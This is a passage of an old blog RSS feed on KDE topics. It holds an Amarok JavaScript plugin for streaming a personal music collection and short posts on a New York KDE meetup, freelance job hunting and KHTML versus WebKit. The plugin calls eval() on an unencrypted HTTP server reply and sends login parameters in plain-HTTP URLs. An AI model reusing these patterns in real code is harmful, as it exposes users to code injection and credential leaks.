<p>Unfortunately there are some kinks, as Phonon often has trouble playing URLs and does not always show buffering information correctly (both gstreamer and xine backends). Look at <a href="http://git.zx2c4.com/?p=zx2c4music.git;a=blob;f=getsong.php#l65" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/?p=zx2c4music.git_a=blob_f=getsong.php_l65&amp;referer=');">lines 65 and below of getsong.php</a>: this should be a working HTTP streaming implementation, but Phonon doesn&#8217;t dig it, for whatever reason. Any pointers here? The same issue crops up in the <a href="http://music.zx2c4.com/desktop/" onclick="pageTracker._trackPageview('/outgoing/music.zx2c4.com/desktop/?referer=');">standalone qt player</a> for ZX2C4 Music. Strange. Also, I use <a href="http://doc.trolltech.com/qtextdocument.html" onclick="pageTracker._trackPageview('/outgoing/doc.trolltech.com/qtextdocument.html?referer=');">QTextDocument</a> to convert HTML entities back to normal text (lines 14-22), but it&#8217;s very slow. Is there a better way to be doing this? Finally, callbackData (line 73) refuses to store an array, which means I have to use a nasty splitter; this is a bug presumably. </p>
<p>For the ZX2C4 Music hackers out there, here&#8217;s the source code to play with:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.core&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.network&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Importer.<span style="color: #660066;">loadQtBinding</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;qt.gui&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> ZX2C4Music<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	ScriptableServiceScript.<span style="color: #660066;">call</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;ZX2C4 Music&quot;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">3</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;Browse ZX2C4 Music&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;The entire ZX2C4 collection, at your finger tips.&quot;</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> songs <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> delayedArgs <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">function</span> receiveDatabase<span style="color: #009900;">&#40;</span>reply<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	songs <span style="color: #339933;">=</span> <span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>reply<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> decoder <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> QTextDocument<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> j <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> j <span style="color: #339933;">&lt;</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> j<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			decoder.<span style="color: #660066;">setHtml</span><span style="color: #009900;">&#40;</span>songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>j<span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> decoder.<span style="color: #660066;">toPlainText</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	onPopulate<span style="color: #009900;">&#40;</span>delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> delayedArgs<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">function</span> onPopulate<span style="color: #009900;">&#40;</span>level<span style="color: #339933;">,</span> callback<span style="color: #339933;">,</span> filter<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>songs <span style="color: #339933;">==</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		delayedArgs <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span>level<span style="color: #339933;">,</span> callback<span style="color: #339933;">,</span> filter<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #003366; font-weight: bold;">new</span> Downloader<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">new</span> QUrl<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;http://music.zx2c4.com/getlisting.php?username=TOP&amp;password=SECRET&amp;language=javascript&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> receiveDatabase<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		Amarok.<span style="color: #660066;">Window</span>.<span style="color: #660066;">Statusbar</span>.<span style="color: #660066;">shortMessage</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;ZX2C4 Music collection is loading...&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> splitCallback <span style="color: #339933;">=</span> callback.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;&amp;*/ZX2C4MUSICSPLITTER/*&amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #003366; font-weight: bold;">var</span> notFirst <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> splitCallback<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> splitCallback<span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				notFirst <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://music.zx2c4.com/getsong.php?username=TOP&amp;password=SECRET&amp;transcode=false&amp;hash=&quot;</span> <span style="color: #339933;">+</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">album</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">artist</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">track</span> <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
			<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>notFirst<span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				<span style="color: #000066; font-weight: bold;">break</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> lastAlbum<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>callback <span style="color: #339933;">==</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> lastAlbum <span style="color: #339933;">!=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				lastAlbum <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> lastAlbum<span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> callback <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;&amp;*/ZX2C4MUSICSPLITTER/*&amp;&quot;</span> <span style="color: #339933;">+</span> lastAlbum<span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>level <span style="color: #339933;">==</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> lastArtist<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> songs.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
		<span style="color: #009900;">&#123;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>lastArtist <span style="color: #339933;">!=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
			<span style="color: #009900;">&#123;</span>
				lastArtist <span style="color: #339933;">=</span> songs<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066; font-weight: bold;">item</span> <span style="color: #339933;">=</span> Amarok.<span style="color: #660066;">StreamItem</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">level</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">itemName</span> <span style="color: #339933;">=</span> lastArtist<span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">playableUrl</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">infoHtml</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000066; font-weight: bold;">item</span>.<span style="color: #660066;">callbackData</span> <span style="color: #339933;">=</span> lastArtist<span style="color: #339933;">;</span>
				script.<span style="color: #660066;">insertItem</span><span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	script.<span style="color: #660066;">donePopulating</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> script <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ZX2C4Music<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
script.<span style="color: #660066;">populate</span>.<span style="color: #660066;">connect</span><span style="color: #009900;">&#40;</span>onPopulate<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/125#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=125" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F125&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/125"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/125"  data-text="Amarok Scriptable Service for ZX2C4 Music" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/125"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/125/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New York City KDE Group</title>
		<link>http://blog.zx2c4.com/115</link>
		<comments>http://blog.zx2c4.com/115#comments</comments>
		<pubDate>Fri, 10 Apr 2009 00:37:43 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=115</guid>
		<description><![CDATA[At our KDE 4.2 release party, many of you voiced desire to have more frequent NYC meetings to talk about all things KDE. So, what dates work for those of you still interested? Update: Possibly this coming week we&#8217;ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/115#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=115" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>At our KDE 4.2 release party, many of you voiced desire to have more frequent NYC meetings to talk about all things KDE. So, what dates work for those of you still interested?</p>
<p><strong>Update</strong>: Possibly this coming week we&#8217;ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can procure a spot in a Columbia building&#8230;</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/115#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=115" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F115&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/115"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/115"  data-text="New York City KDE Group" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/115"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/115/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Finding Freelance Jobs</title>
		<link>http://blog.zx2c4.com/118</link>
		<comments>http://blog.zx2c4.com/118#comments</comments>
		<pubDate>Wed, 08 Apr 2009 21:26:33 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Jobs]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=118</guid>
		<description><![CDATA[Dear PlanetKDE, I&#8217;m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I&#8217;m young. I also doesn&#8217;t have many &#8220;contacts&#8221; or &#8220;networks&#8221; for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer. So I&#8217;m wondering [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/118#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=118" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Dear PlanetKDE,</p>
<p>I&#8217;m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I&#8217;m young. I also doesn&#8217;t have many &#8220;contacts&#8221; or &#8220;networks&#8221; for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer.</p>
<p>So I&#8217;m wondering &#8211; amongst those of you who have been in a similar predicament, how have you gone about finding programming gigs?</p>
<p>A related question: does anybody hire KDE programmers? </p>
<p>Sincerely,<br />
Unemployed</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/118#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=118" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F118&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/118"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/118"  data-text="Finding Freelance Jobs" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/118"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/118/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>WebKit in Konqueror/KDE</title>
		<link>http://blog.zx2c4.com/96</link>
		<comments>http://blog.zx2c4.com/96#comments</comments>
		<pubDate>Wed, 18 Feb 2009 02:40:45 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=96</guid>
		<description><![CDATA[Dear PlanetKDE/Lazyweb, I am curious about the future of KHTML in the face of WebKit. Three questions come to mind: Why does KDE use KHTML when WebKit is faster, more compatible, etc? Why does Konqueror use KHTML as default instead of WebKit? Will KHTML be moved out of the main tree? As far as I [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/96#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=96" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Dear PlanetKDE/Lazyweb,</p>
<p>I am curious about the future of KHTML in the face of WebKit. Three questions come to mind:</p>
<ol>
<li>Why does KDE use KHTML when WebKit is faster, more compatible, etc?</li>
<li>Why does Konqueror use KHTML as default instead of WebKit?</li>
<li>Will KHTML be moved out of the main tree?</li>
</ol>
<p>As far as I can see, it is commonly accepted fact that WebKit is a faster and more compatible engine than KHTML. WebKit was ported to Qt in 4.4, and Qt 4.5 provides some critical enhancements. From these two points, the three questions above naturally follow. If the situation for KHTML was completely hopeless, then it never would have made KDE 4.0 or the present API would be converted into a wrapper for QtWebKit. But this is not the case, so presumably the KHTML team has high hopes for the project. I wonder what the team&#8217;s response is to these questions. Undoubtedly they have thought a lot about KHTML vs WebKit and find WebKit a worthwhile project. What&#8217;s the deal?</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/96#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=96" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F96&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/96"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
